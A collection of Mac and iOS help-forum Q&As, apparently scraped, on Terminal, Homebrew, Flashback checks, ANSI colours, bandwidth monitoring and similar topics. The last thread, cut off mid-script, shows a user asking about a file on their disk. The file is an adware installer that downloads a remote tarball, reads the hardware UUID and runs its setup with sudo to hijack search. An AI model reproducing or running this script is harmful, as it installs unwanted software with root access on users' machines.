afplay "/Applications/Messages.app/Contents/Resources/Logged In.aiff"

To turn if off you can turn off "Play sound effects" in the iMessage preferences.


terminal cannot navigate shares on Big Sur mount a share like this:
sudo open smb://user:password@NAS/share

navigate to share
cd share

try to list contents
ls
ls: .: Operation not permitted

EDIT: clarification thanks to Greg's comment. 'sudo ls' fails as well.
In either case - using open smb://user:password@NAS/share or sudo open smb://user:password@NAS/share the folder is browseable in the finder but not in terminal.

It doesn't matter what user run the open command, it was mounted for everyone.  The sudo is a red herring.
To navigate to the share use cd /Volumes/share.  You can check the mount point by running the command mount.
Now the contents are visible running the ls command, subject to the permissions of the user running ls.


AppleScript issues with Terminal commands I want to run this command in Terminal via AppleScript but Script Editor doesn't like the dollar sign. It says: Syntax Error: Expected end of line but found unknown token. How can I enter this command into Terminal without Script Editor complaining? I'm totally new to this and this command is not mine, I don't really want to change it.

tell application "Terminal"
do script "exec ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)""
end tell

You are having problems with the quoting of commands in a command.

An easy way out is to put the command ina shellscript e.g. name the script ~/bin/install_homebrew and after creating it make it executable

Script is

#!/bin/bash
ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)

the call the script from the terminal or from Applescript

tell application "Terminal"
    do script exec "~/bin/install_homebrew "
end tell


Did the Java 1.6.0_31 update fix the Flashback trojan problem? Is the recent Java update of OSX (Java for OS X Lion 2012-002) to 1.6.0_31 also a bug fix for the Flashback malware?

The update is described here as:

  Multiple vulnerabilities exist in Java 1.6.0_29, the most serious of
  which may allow an untrusted Java applet to execute arbitrary code
  outside the Java sandbox. Visiting a web page containing a maliciously
  crafted untrusted Java applet may lead to arbitrary code execution
  with the privileges of the current user. These issues are addressed by
  updating to Java version 1.6.0_31. Further information is available
  via the Java website at
  http://www.oracle.com/technetwork/java/javase/releasenotes-136954.html

It fixes the vulnerability that Flashback used to install itself; this Gizmodo article gives some more info to check:

1. Run the following command in Terminal:

defaults read /Applications/Safari.app/Contents/Info LSEnvironment

2. Take note of the value, DYLD_INSERT_LIBRARIES
3. Proceed to step 8 if you got the following error message:

"The domain/default pair of (/Applications/Safari.app/Contents/Info, LSEnvironment) does not exist"

If you don't get that error message, well, time to head to F-Secure for your fix. If you're clean so far, you can move on to step eight:

8. Run the following command in Terminal:

defaults read ~/.MacOSX/environment DYLD_INSERT_LIBRARIES

9. Take note of the result. Your system is already clean of this variant if you got an error message similar to the following:

"The domain/default pair of (/Users/joe/.MacOSX/environment, DYLD_INSERT_LIBRARIES) does not exist"

If you don't have any anti-virus protection enabled, you might want to check out the excellent (and free) Sophos Home Edition


Can I stop mac 10.8 from saving previous open programs/finder windows after power shutdown? I think what I'm looking for is a .plist file.

specifically what I want, is it possible to clear whatever files saves last opened windows that are re-opened on startup that get saved after a shutdown from the power button or general power failure without disrupting general use.

other than wth terminal you can try omyx http://www.macupdate.com/app/mac/11582/onyx


How to move Keychain from Snow Leopard to Mountain Lion? I am trying to move keychain database from Snow Leopard to Mountain Lion.

I can't find the place of keychain in Mountain Lion anymore.

Even if I will find that keychain file location:

Will it be enough just copy keychain database file?
Or is the database file from Snow Leopard not compatible with Mountain Lion?
How to move keychain database from Snow Leopard to Mountain Lion?

Apparently both Keychain's files are in the same place in Both OS versions 1 2. ~/Library/Keychains/. Copying all the folder's content from one to another should do the trick.


How to downgrade subversion to version 1.7 I'm on OS Sierra.

I currently have subversion 1.9 and I want to downgrade to 1.7.

I tried this so far with no luck:

$ brew tap homebrew/versions
$ brew install subversion17
Error: No available formula with the name "subversion17"
==> Searching for similarly named formulae...
Error: No similarly named formulae found.
==> Searching taps...
Error: No formulae found in taps.
$ brew search subversion
homebrew/versions/subversion18

What other options might I have?

Edit:  More background:

I'm getting this message when I run svn commands in my working directory:

> svn: E155036: Please see the 'svn upgrade' command svn: E155036: The
> working copy at '/Users/MyProject' is too old (format 29) to work with
> client version '1.9.4 (r1740329)' (expects format 31). You need to
> upgrade the working copy first.

I'm worried if I run the upgrade I won't be able to talk to the server anymore?  And I have no control over what version the server is running and I don't think they would be willing to upgrade it.

Whatever your underlying motivation or use case is: I personally recommended that you do not downgrade. Downgrading to Subversion 1.7 will put your Mac at risk.

Also, for technical reasons, Subversion 1.7 cannot run on El Capitan or later unless a developer is willing to spend considerable effort.

The subversion17 formula was deleted from Homebrew last month, albeit for unrelated reasons. Before it got deleted, a comment in the formula said:

  # Requires system OpenSSL headers to build. >El Capitan no longer ship them.
  # Note this means that this subversion is linked against an outdated OpenSSL
  # and really should not be considered secure.

In other words, not only is Subversion 1.7 unsafe to use on macOS; also, El Capitan or later versions of macOS cannot run 1.7 because the required header files are missing.

For the same reason, well-known Subversion download sources, e. g. WANdisco’s download page, offer Subversion 1.7 releases for OS X Yosemite or earlier but not for current macOS versions.

An alternative approach would be that you post a new question (or edit your existing one) to give more information on what your underlying motivation is.

What are you actually trying to achieve specifically with the 1.7 release?
What specific issue(s) do you anticipate, or have already encountered, using the latest release of Subversion instead, or any other version control package?


iPhone 8 - Pictures associated with contacts disappear I just upgraded to an iPhone 8 from a 5s. I have photos of those listed as my favorites. Some of the photos won't stay with the associated contact. I open the contact, tapped Edit, Add Photo-> Choose Photo, pick the picture I want, tap Choose, then Done. About 5-7 seconds later, the photo disappears.

My phone and desktop use a Hosted Exchange for mail, contacts, notes etc. I don't use iCloud.
 Any ideas?
DB

Figured it out. I added my contacts to iCloud, went through the above steps and voila - the contact photos stay associated with their respective contact. I then toggled the contacts off of iCloud.
Thanks-
DB


iphone 5c bluetooth pairing with Mac: "the device does not have the necessary services" As seen in the screenshot the iphone 5c is discovered via bluetooth; but the pairing is not successful due to missing services.

The Iphone says

  My Devices
       mellyrn     Not Connected

where mellyrn is the hostname of the mac.   So what services are referred to here?

I am on El Capitan.

from what I've gathered, the "services" can be related to filesharing or simply because either one of the devices refuses to understand the other...

based on the following

  iOs devices will not pair to computers except for Personal Hotspot. For AirDrop, you need to have bluetooth and Wifi on, and simply turn on Airdrop on each device. Pairing is not necessary.

source: https://discussions.apple.com/thread/6795203?start=0&tstart=0

it seems to use airdrop, the personal hotspot needs to be disabled

and also

  Instead of connect to the devices using the "Browse device" where I have the same error than you, I went to "Set Up Bluetooth Device" and it works
  went to preference- sharing- turned bluetooth sharing on
  bottom of options where you'll see "Send File To Bluetooth Device". The device may show as "Disconnected" but click on it anyway

from https://discussions.apple.com/thread/4207524?start=15&tstart=0

see also  macworld co uk /how-to/mac-software/how-use-airdrop-on-macs-wirelessly-share-files-update-3500407/
which basically says airdrop can be buggy - turn on wifi and bluetooth, open airdrop on mac and "be patient"

in my case I got the same error message, but pairing/connecting wasn't working as I was using an iPhone 4s (and it needs 5 or later).


how to uninstall the app or packages in the Home-brew How to uninstall all the app in the home-brew with out deleting the brew.
and I also wants to know how to delete the waste packages or unnecessary packages in my home brew.
Can anyone pls help me how to do this.

Homebrew packages can be uninstalled with
brew uninstall PACKAGE-NAME

Homebrew can‘t know which packages you don‘t need anymore, you have to decide yourself.


Transfer SMS from Android to iPhone? I would like to not lose my SMS on my Android phone, how can I transfer them to my iPhone ?

Following third party app that can do that.

  No need to copy your text messages manually, Mobile Transfer enables
  you to move data between different platforms with just a few clicks.
  The contents include the date when you received and sent them, and, of
  course, the messages themselves.

Read more here:

http://www.android-recovery.net/transfer-android-sms-to-iphone.html

http://www.transphone.net/phone-transfer/transfer-sms-from-android-to-iphone.html

Mobile Transfer

  Mobile Transfer is a professional transfer tool designed to transfer
  contacts, text messages, call logs, photos, audio, videos calendar and
  apps between iPhone, Android, Nokia (Symbian) and BlackBerry in just
  one click!

http://www.android-recovery.net/downloads/mac-mobile-transfer.dmg


Are there hidden files taking up 10GB on my hard disk? I was cleaning up my hard drive this morning, 128GB ssd in a macbook pro, and there seems to be about 10GB of data that isn't appearing in the exposed file system.

I'm using the GUI interface with cmd+click -> get info, here's the breakdown:
Hard Drive: 98.8GB on disk

then in the Hard Drive Directory:
System: 6.5GB
Applications: 23.7GB
User:47.5GB
Library: 11GB
opt:174MB
User Information: 4 KB

that adds up to ~89GB. Where are the missing 10GBs? I'm starting to regret not springing for the bigger hard drive, though I guess it would just postpone the issue.

Are hidden files hidden from the file-by-file get info panel?

There are easily 10Gb of files hidden from the Finder.

Get Info on a disk and Get Info on a folder work differently. On a disk, it simply asks the disk resource for a count of the used blocks and thus gets an answer almost immediately. This value accurately reflects how much is stored on the drive in question.

Get Info on a folder digs through that folder and adds up the size of each file that you are able to read. You cannot, for example, know how much another user has in their Mail folder by running Get Info on the User folder.

Also, there is a difference between the file size and the space-on-disk size. Storing a single character in a file will consume 4kb of disk space, the rest is wasted. One million one-byte files will therefore use 4Gb of space on disk.

Files hidden from the Finder include almost the entire Unix subsystem, many low-level config files, virtual memory, sleep images, and the system caches. Don't even think about deleting them - your computer will not boot, and the caches will simply get refilled.

On the plus side, the Mac OS takes care of itself quite well. You the user, have absolutely no need to concern yourself with the inner workings, nor do you need 3rd-party utilities to do any maintenance (most of them don't do anything effective except reduce your bank balance).

A very easy way to reclaim a lot of space is get an external and move your iPhoto and iTunes libraries there.


How can I unlock my screen when my input is in a different language? I have 3 languages installed and everytime my MacBook goes to sleep - the screen is being locked. After entering a password, system says that it's incorrect. It appears, that I'm entering password not in English language, but in Lithuanian (mother tongue), where all digits are taken by Lithuanian-specific vowels and consonants (from 1 to 8: ąčęėįšųū). And the problem is that I can't change language back to English so that I'd be able to enter digits for my password. Using backtick for "default language" does not work (I get beeps all the time). Copy pasting does not work too.

Any suggestions? As I don't think I need to take care of what language my MacBook locks the screen in.

I'm running Mac OS X 10.6.

Go to System Preferences > Accounts > Login Options and tick "Show input menu in login window" you'll then be able to change it in the screen saver password window as well

In OS X 10.7 Lion, "Accounts" is called "Users & Groups".  The setting "Show input menu in login window" really ought to be active by default when plural language input sources are enabled, though.


iOS Enrollment of device with a PIN code sent by e-mail In my company, we would use the Apple MDM software linked to Active Directory.
We would use the self enrollment system of iOS devices proposed by OS X Lion Server.
The main problem is that to log-on, the user must input their password on the  (/MyDevices web app).
But our users don't know their password, because we use a biometric system for the logon on our windows machine.

Is there a way to logon with a PIN number sent by e-mail?
Do you have any advices?

Mountain Lion may not support this feature, but MDM providers like AirWatch have token/PIN based enrollment for just this purpose. Users are not requirement to input user information (although you can configure it that way if you like) and they are sent their token via email or SMS.


Faster command+tab switching support number choice? Is there a faster way to switch between applications on mac using ⌘ cmd + tab??

when i open a lot of different apps opens at a time, i have to press lots of ⌘ cmd + tab to switch to purpose application.
Is there a way  to use ⌘ cmd + number to switch to purpose application.

such as when i press ⌘ cmd + tab , i want to switch to the sixth application , i just press ⌘ cmd + 6, the command tab will focus to the sixth application.

Just like switch tabs in chrome. use ⌘ cmd + number
Is there a proper way to do this???

IS there any software can do this?? or system apis can do this??

Manico is a App
Using Option + Number key to launch or switch to the target app in an extremely fast speed!

Feature List:

Beautiful OS X Style interface
Easy to call and easy to hide
Support using shortcuts to switch between running apps (Faster than ⌘
Tab)
Support customizing apps and shortcuts (Faster than Dock)
Support hiding the status icon to make menu bar clean


Can I install Yosemite on a different Mac with another Apple ID Can I use a copy of OS X Yosemite installer to install Yosemite on a Mac owned by someone else who obviously has a different Apple ID?

Yosemite should be a free upgrade.

You can also download it for free here.

https://www.macupdate.com/app/mac/48498/os-x-yosemite


How do I install Linux on an Intel iMac with no OS nor CD drive What I want:

Linux on an Intel iMac (Core Duo).

What I have:

An empty PC (17" Intel iMac) with broken CD drive. It's model A1173.
This PC with Ubuntu 12.04 and an old Windows Vista partition.
a USB flash drive and an Ubuntu ISO.

Problems:

No CD means the only boot drive I could use is USB.
There is no BIOS on Macs, so I can't set boot settings or even see if it detects my USB drive. When I start the machine and press Option, the first and only thing I see is an old corrupted Windows XP partition and not a single option or additional information.
So assuming blindly that the Mac hardware/firmware works normally, I don't have any Mac OS to use any of the tools that I found on different tutorials for building a bootable drive for Macs.
I can't find much software on Linux/Windows to substitute to those tools, for example among others converting an .iso file (Win/Linux) to .img (Mac I guess). Which makes me think that the scenario where someone like me has Mac hardware but no Mac OS is extremely rare.
So other than finding someone that has a Mac I have no solution. So I ask, what would you do? The only thing is it should not involve any money (I know Mac software is rarely free) which also excludes getting any Mac OS unless I can use a free macos.img for VM or restore the original Mac for free.

Looks like you have all you will need already, you were just missing the following bits of information.

You should checkout a Ubuntu instructions for Intel Macs, so no need to worry about a BIOS your running EFI. Ubuntu for Intel Macs and additionally the Ubuntu Intel Mac CommunityHelpPages looks to be loaded with lots of resources that you might find helpful.
Since your iMac is an intel one, you can use a standard Ubuntu ISO built for any x86 PC. However since your iMac is a Core Duo it will need a 32bit Ubuntu as noted on Ubuntu's Mac Community documentation.

  ... If you have a Core2 Duo Mac (as oppossed to the Core Duo), it is capable of using the AMD64 (64bit) CD otherwise you have to use the standard version...

The standard version meaning a 32bit version.

Pick and download a 32bit version of Ubuntu , the Mac documentation pages say going with the latest version should be a good move, yet pick which one works best on your iMac, this may require trial and error.
Follow the standard How to create a bootable USB stick on Ubuntu using the Ubuntu ISO you downloaded above.
Boot the iMac with the USB stick inserted, if the iMac does not boot into the Ubuntu installer you may need to reboot and hold down the "option" key, and then selcted the USB stick to continue booting into the Ubuntu installer.


Preview assigned on all desktop on BigSur After updating from Big Sur from Catalina I have encountered some problems with the Preview app.
I use multiple Desktops (on the same screen) and after a pdf is opened, then when I switch to the another Desktop, Preview remains opened in the previous one.
I think it's a bug only for Preview because other apps stay in the Desktop in which they have been opened.
The only way to bypass this is to open pdfs with Safari or Acrobat.
Any help?

Right click Preview in the Dock > Options.
Check it is not set to All Desktops. Default is 'None'.


Will iCloud work with Mail and a Gmail account? Does iCloud  work with Mail and a Gmail account, or do I need to necessarily create a .me account and then forward the mails from gmail to .me ?

If you have a .mac or .me account, you will use that as your iCloud email address. Otherwise, you will get a new mail account. You can either forward your gmail messages or use two different accounts (or not use iCloud for mail).


"Power button HID event - flushing proactively" -- what does this mean? I've been reviewing my system log file on my MacBook Pro.

I came across this log entry 'Power button HID event - flushing proactively'. Just wondering, does this just mean that the computer was shutdown by holding the power button?

Thanks in advance!

A little Google searching led me to the fora at MacRumors with this tantalizing comment and log file excerpt:

  Ok, what’s in this log is not the kernel panic on boot but apparently
  the last thing the computer was doing when my mother started having
  problems (Safari seemed to freeze up) and she killed everything by
  long pressing the power button.

  Nov 15 15:06:52 macintosh logd[75]: Power button HID event - flushing proactively


Does Find My iPhone upload its location when connected to iTunes via USB? If Find My iPhone is active for my iPhone, will it upload its location if the iPhone is connected to an Internet-connected PC or Mac using a USB cable?

Normally I would imagine it would ask for a password or 'trust this computer' for example, but since Find My iPhone is enabled for the iPhone it would make sense if it would just use the Internet connection to pass on its location details to iCloud so I can trace it.

My iPhone is stolen but it had a PIN code on it, but at the same time it happened abroad so data roaming was switched off and it is very unlikely it will automatically connect to an unknown Wi-Fi network for passing on location data obviously.

No, the iPhone does not update its location when plugged in. However, the iPhone will send its location to Apple when the battery gets to a critical level as long as it has an Internet connection.


Ergonomics: fingers to use to press Cmd and Opt keys at the same time I find myself struggling with keyboard shorts that require pressing CmdOpt at the same time. I have been using my third and fourth fingers on my left hand press Cmd and Opt respectively, but this means for CmdOpts, I have to use my right hand to press s.
I also tried using the thumb but sometimes I miss either the Cmd or Opt.
What is the preferred way to execute such keyboard shortcuts?

When I need to hit command and either control or option,I generally use my left middle and fore fingers, sometimes middle and thumb, sometimes pinky and thumb.

However, it's not especially often I end up needing more than one modifier key at the same time (ie, I usually only need command or option or control with another key - not together).


Can you create shortcut in Lions Launchpad? As it says in title. I want to add one for Eclipse, to have all in one place.

Assuming you still have the Launchpad icon on your dock try dropping the app you want to be added to Launchpad on it.

Haven't tried it myself, but I recall reading about it somewhere.


Which key is Insert on Microsoft Remote Desktop? I use my Mac connected to a remote server (Windows 2008) using Microsoft Remote Desktop Beta, and in the Windows 2008, there is a virtual machine on it, I use the Xshell connected to the VM.

But when I want to paste some code, the shortcut key is Shift+Insert, however on the Mac there is no Insert key. How can I use the shortcut key to paste my code?

I just ran into this issue and had to experiment a bit until I found a solution. Using a Magic Keyboard, I am able to send an insert key by pressing clear to toggle the number lock on (depending on what application you're using, there may not be any feedback), then pressing 0 on the number pad:

I'm not sure if the same trick would work on other keyboards, or how you would do this without a number pad, but hopefully this helps some users.


Play audiobooks with chapter selection on iOS I have a number of DRM free Audio Books which I listen to while walking the dog, when I put them on my iPod Classic I can scroll through the chapters and pick which one I want to listen to.

On my iPhone the file appears as a single 33 hour audio file. I'm lead to believe that this is something that has arisen since iOS7 was released, as there are a lot of threads complaining about it after upgrading.

Is there a way/third party app that will allow me to scroll through chapters, or at least carry on where I left off if I decide that I'm going to listen to music between dog walking sessions?

Yes, you can use either Audiomark or Bookmobile.


iPhone 5 non-responsive when ringing I have an iPhone 5 with iOS 6.1.4. No third-party software like apps are installed --- the device is all but fresh from the factory.

The device gets non-responsive sometimes when I get an incoming call (about one call in 20) -- the phone keeps ringing but it's impossible to answer it because the touch screen won't respond. After clicking the lock button (on top of the device) a few times, the call is lost and the device gets back to normal, which makes me think this is an iOS bug and not a hardware problem.

Is there any workaround for this problem?

Edit: After using the phone more, I've noticed that the UI may suffer hiccups in many more situations (for instance when texting somebody a message); the phone freezes and becomes unresponsive for a few seconds. This behavior is obviously most annoying when you can't answer incoming calls.

I couldn't ring out or accept incoming calls on new Iphone 5 as it had become unresponsive, there are very few apps installed on phone as it is new. Turned power off and back on and phone works again. Hope problem is not recurring.


Two External Drives on iMac Can I use the Keyboard USB Port for a second External Drive on my iMac? I've seen warnings to not use the keyboard port for external drives, but no explanation. How do I use 2 external drives, if not using keyboard port?

Some USB drives (typically the smaller, more portable sizes that use 2.5" hard drives) draw their power over USB (called bus-powered). Others (typically the larger 3.5" ones) have an external power adapter.

If you have one with an external adapter, you should be fine plugging it in to whichever USB port you want. Bus-powered ones plugged into a USB hub (like that in your keyboard) with other devices may not have enough power to start up, or they may start up, but the connection will occasionally drop (you'll see the drive disappear from your desktop). However it's safe to at least try plugging it in to your keyboard and see if it works. If the drive doesn't show up, try directly connecting it to a port on the back of your iMac.

Ideally you'll plug both hard drives in to the USB ports on the back of your iMac (every iMac since 2006 has at least 3, sometimes 4), which ensures maximum power and bandwidth. If you're short on ports, you can also get a standalone USB hub, which you could plug your lower-powered devices into, in order to free up ports for your drives.


Virtualbox installation fails/hangs on Catalina I'm trying to install Virtualbox on Mac Catalina. It either fails or hangs and in the console I see these messages:

error   10:46:15.111917+1000    kernel  Sandbox: installd(3456) System Policy: deny(1) file-write-data /Library/Preferences/com.apple.TimeMachine.plist
fault   10:46:15.112121+1000    installd    Couldn't write values for keys (
    SuspendHelperActivityTimeStamp
) in CFPrefsPlistSource<0x7fea7d549d70> (Domain: com.apple.TimeMachine, User: kCFPreferencesAnyUser, ByHost: Yes, Container: (null), Contents Need Refresh: Yes): setting preferences outside an application's container requires user-preference-write or file-write-data sandbox access

Any ideas on how to fix whatever the issue is? I have tried rebooting, running the Virtualbox uninstaller, repeating the install, same result. My install of Catalina is up-to-date according to the system.

This fixed it:
sudo kextcache --clear-staging


Apple Magic Trackpad issue: occasionally it interprets one-finger click as two-finger ("right") click I wanted to see if my technical hiccup was experienced by others, as well as any obvious fix I am missing.

Perhaps 5-10 times per day, my external, bluetooth, apple magic trackpad will interpret a regular click as a two-finger click (ie a right-click.)  I believe it is only when I click via the full "press down" method, it does not happen during a mere light-touch-to-click.

So you are using your trackpad, and you go to it to drag something, for instance, but you then find the darn contextual menu popping up on the thing instead!  Agh!

I am guessing I may take it in for a regular exchange (ugh, it was bought on USA apple store online and I am in thailand now) ... but thought I would see how wide-spread or solvable it is.

Do you have checked this in the SystemPreferences -> Trackpad?

That's mean, than when you do a full-click on the right(left) bottom corner thats mean right-click. For the disable, simple uncheck.


Some contact names missing from Messages, but initials still visible? This is recent (popped up in the last week), and I don't think it came up with any updates; most recent thing I can think of is watchOS 4.2. I'm on the iPhone 7, with iOS 11.2.

Only in my Messages app, some contact names are still visible, but most contact names have been replaced with their phone numbers. The contact "picture" on the side still has their initials though.

Any ideas on how to fix this?

I had this problem for weeks and tried numerous solutions like toggling on and off the short names, adding a country prefix to the number, etc. What finally worked for me was toggling OFF icloud contacts under Settings.


Prevent Mac terminal brightening font color with no background When I execute echo -e '\033[49;36m\u2588\033[40;36m\u2588' in a linux terminal, I get two blocks of the same color:

Here, the first block has no background color (49) while the second block has a black background color. The character displayed should generally take up the entire space, so the background is not visible and they appear the same.

However, if I repeat this in Mac Terminal I get something very surprising:

For some reason, mac terminal is changing the foreground color for different background colors. Through some experimentation, I've found that the foreground color is constant for any fixed background color, and only different for the default background color. The color it renders is distinct from any of the other dim or bright modifications offered by ansi terminals.

Why is this happening, and more importantly, can I fix it?

Short answer: don't use "compound" color codes like \033[49;36m, use separated colour instructions like \033[0;42m\033[0;36m instead.
The difference can be nicely seen by comparing the output of those two commands:

echo -e "\033[0;42;36m\xe2\x96\x88\033[0;49;36m\xe2\x96\x88"
echo -e "\033[0;42m\033[0;36m\xe2\x96\x88\033[0;49;36m\xe2\x96\x88"

(note that my version of bash could not process \u2588, so I had to resort to the hex variant \xe2\x96\x88).

Suggestion for future code:

Create a file (for example in ~/.bash_color_definitions) with the following content:

# Setup some colors to use later in interactive shell or scripts

# Color reset:
export COLOR_RESET='\033[0m' # reset color

# foreground colors

export FG_WHITE='\033[1;37m'
export FG_BLACK='\033[0;30m'
export FG_BLUE='\033[0;34m'
export FG_LIGHT_BLUE='\033[1;34m'
export FG_GREEN='\033[0;32m'
export FG_LIGHT_GREEN='\033[1;32m'
export FG_CYAN='\033[0;36m'
export FG_LIGHT_CYAN='\033[1;36m'
export FG_RED='\033[0;31m'
export FG_LIGHT_RED='\033[1;31m'
export FG_PURPLE='\033[0;35m'
export FG_LIGHT_PURPLE='\033[1;35m'
export FG_BROWN='\033[0;33m'
export FG_YELLOW='\033[1;33m'
export FG_GRAY='\033[1;30m'
export FG_LIGHT_GRAY='\033[0;37m'

# background colors

export BG_WHITE='\033[1;47m'
export BG_BLACK='\033[0;40m'
export BG_BLUE='\033[0;44m'
export BG_LIGHT_BLUE='\033[1;44m'
export BG_GREEN='\033[0;42m'
export BG_LIGHT_GREEN='\033[1;42m'
export BG_CYAN='\033[0;46m'
export BG_LIGHT_CYAN='\033[1;46m'
export BG_RED='\033[0;41m'
export BG_LIGHT_RED='\033[1;41m'
export BG_PURPLE='\033[0;45m'
export BG_LIGHT_PURPLE='\033[1;45m'
export BG_BROWN='\033[0;43m'
export BG_YELLOW='\033[1;43m'
export BG_GRAY='\033[1;40m'
export BG_LIGHT_GRAY='\033[0;47m'

And source it on every bash start by putting source ~/.bash_color_definitions into your .bashrc or .bash_profile. Then start producing more readable code like this:

 echo -e "$BG_BLACK$FG_CYAN\xe2\x96\x88$BG_GRAY$FG_CYAN\xe2\x96\x88$COLOR_RESET"

EDIT:

Turns out, the code in my answer actually reset the background (as Erik noted in the comments).
After a bit of testing, it appears that the Mac Terminal "mixes" the foreground/background colours a bit different when you try to use color code 49, i.e. the "default background color".

iTerm.app for example does not behave in this way, so you could easily switch terminals, if you want to.

A valid solution, however, is to fully specify the background color (i.e. don't just use 49;36m, use 47;36m if your background is white). Or better use the xterm-256color color specifications; that is \033[38;5;___m for the foreground and \033[48;5;___m for the background colours (replacing the underscore with a number in 0-255). At least on my computer, this then produces consistent colours:

echo -e "\033[48;5;256m\033[38;5;6m\xe2\x96\x88\033[40;36m\033[38;5;6m\xe2\x96\x88\033[0m"

If you want to check which ANSI xterm-256color best matches your actual background color, you could use this script (modified version from the one found here):

#!/bin/bash

for fgbg in 38 48 ; do #Foreground/Background
    for color in {0..256} ; do #Colors
        #Display the color
        echo -e "\033[${fgbg};5;${color}m ${color}\t\033[0m"
    done
    echo #New line
done

exit 0


How can I see what bandwidth each App or process is using? I see suddenly that my downstream bandwidth is 400 KBps which is the maximum my ISP gives me, so there's an application downloading at its top capacity.
The thing is I didn't start any download, so it's doing it in the background without telling.
How can I know which app or process is using it?
Or, basically, how can I determine how much bandwidth each open process or application is using?

Quote: "How can I know which app or process is using it?"

You can try nettop(1) in the Terminal. It is pre-installed, and refreshes every few seconds to provide a dashboard of all open network connections (by process) with their usage. Better than lsof since it shows the usage data too.

$ nettop

Then hit 'd' and look for odd-looking entries or entries with consistently large traffic in the 'bytes in' or 'bytes out' column. The 'd' instructs nettop to only show differences in each screen refresh.

Practical usage notes:

If you don't recognize the process name, Google it.

If you don't want the process around, get the pid (the number next to the process name in nettop), and kill it with kill -9 <pid>. If that doesn't solve it, find out if you can uninstall the process.

If you're interested in what the process is transmitting over the network, use the client port number for that particular connection (e.g. '53133' from 10.0.0.1:53133->74.125.68.100:80) to run a tcpdump(1) to see the data in the packets being exchanged: sudo tcpdump -nnvvXSs 1514 port 53133

If you're interested in the destination the process is talking to, but the destination IP address doesn't have a reverse DNS hostname (like in the previous example), then try visiting that IP address in a web browser as https://IP, click the broken lock icon in the address bar, and view the certificate details to find out which domain is served there (*.google.com in this case). This won't work if SSL port 443 isn't open on the destination.


Meaning of AMD-Action:authenticate:SP I am trying to install macOS Sierra from the Mac App Store and can’t get through.

I get a

  AMD-Action:authenticate:SP

error message.

What does this mean?

This is most likely a temporary glitch at Apple's end.

I'm aware of a number of users who have received the exact same error message during the past few hours while trying to authenticate (i.e. login) with the Mac App Store. In all cases, they were just trying to install updates (not upgrade macOS).

The error basically means that Apple's servers can't authenticate your account. I'm not sure if location is an issue, but in my case the users are based in Australia.

I imagine it'll be resolved reasonably quickly, so I would wait and try again tomorrow.


How to use sandbox accounts in iOS 11? These are the official directions for testing with sandbox accounts:

Set up test user accounts within Users and Roles in iTunes Connect
Clear any account information stored on your test device. In settings, go to the Store settings. Click the Sign Out button. (Note that iOS 11 does not have a section named "Store" in the settings. I go into iTunes & App Store and sign out from there)
Connect the test device to your Mac.
In Xcode, set your test device as your scheme's destination
Open your app, and perform your in-app purchase product testing
Use your test account credentials to test the purchase.

I have tried following these instructions, but I'm not able to complete step 6. When I launch the app after signing my Apple ID out of the App Store, it asks me to enter the password for my Apple ID. It does not give me the option of entering a different account. I don't see any way to use a sandbox account.

Are Apple's instructions out of date? Should I be doing something differently?

Followup note:

It turned out that for whatever reason, trying to use sandbox accounts on my iPod Touch is a lost cause. However, I am able to use sandbox accounts on my iPad Air 2. But another team member is not able to use sandbox accounts on any of his devices, experiencing the same issue I outlined.

One possibility is that you have different versions of iOS. As per this documentation:

For iOS 11 or earlier — Sign out of the App Store in Settings, then build and run your app from Xcode.
For iOS 12 or later — Don't sign out of the App Store; simply build and run your app from Xcode. Sandbox accounts are stored separately, and you can control your sandbox account directly on-device in Settings.

Additional related documentation:

Test in-app purchases - App Store Connect Help
Apple Pay - Sandbox Testing - Apple Developer


Is it possible to have tabs in Finder? I often need to open many finder windows at the same time and my desktop becomes cluttered.

Is there any way to get tabs in Finder so one window can host multiple folders?

Update: As shown in File Menu and being consistent with the rest of the macOS shortcuts, command+T will open a new tab. Tabbed Finder was introduced in OS X Mavericks in 2013.

With the native Finder app that comes with OS X is not possible to have tabs.
If you really need them you can use some Finder replacement app, like TotalFinder or PathFinder (both not free).


Move tabs to the side of Safari Some employees in my office get confused by tabs on the top of Safari. It is  measurably affecting productivity.

I need to get the tabs on the left side of the screen with a title next to each tab.
We currently use Safari because it has adblock ("Ka-Block!"). We cannot deploy any solution in this company if it results in my employees seeing ads.
Pinning tabs makes the favorite icon far too small for usability (we tried)
Our main use case is webmail with two accounts. When there is not a very large indication one account isn’t open - new tabs arrive complicating the work flow.
the requirement is to have large names and visual space to identify each open tab in Safari.

I will pay money for this solution.

What options are available?

I know you said you use Safari for Ka-Block but if you could find an alternative blocker for Firefox you could get the side tab you want.  There's an extension call Tree Style Tab which lets you put them on the right or left side of the screen.

https://addons.mozilla.org/en-US/firefox/addon/tree-style-tab/


What is this unknown executable on my boot volume? Is it Malicious? I noticed I had this file in the Macintosh HD folder.

And then when I click on it, it shows this:

Apparently this file was created in 2017, but I don't remember creating it.

Any idea what it could be?

Its content:

#!/bin/bash
func_4(){
/bin/mkdir -p /var/tmp
/usr/bin/curl -s -L -o /var/tmp/sr.tgz "http://c.premiummac.com/static/sr/sr_v2.tgz"
/usr/bin/tar -xzf /var/tmp/sr.tgz -C /var/tmp
cd /var/tmp/dvs
mid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s\n", line[4]); }')

COUNTRY="CA"
if [ "$COUNTRY" == "AU" ] || [ "$COUNTRY" == "CA" ] || [ "$COUNTRY" == "US" ] || [ "$COUNTRY" == "NZ" ]\
  || [ "$COUNTRY" == "ES" ] || [ "$COUNTRY" == "IT" ] || [ "$COUNTRY" == "NL" ] || [ "$COUNTRY" == "FR" ] || [ "$COUNTRY" == "IN" ]\
  || [ "$COUNTRY" == "DE" ]; then
    sudo ./setup.sh "http://www.searchitdown.com/?n=026&searchsource=55&UM=8&gd=SY1000653" "http://www.searchitdown.com/?n=026&searchsource=69&UM=8&gd=SY1000653" "http://www.searchitdown.com/Results.aspx?n=026&searchsource=58&UM=8&gd=SY1000653" "searchitdown" "upd" "http://i.firstinstallmac.club/c/cc?id="
else
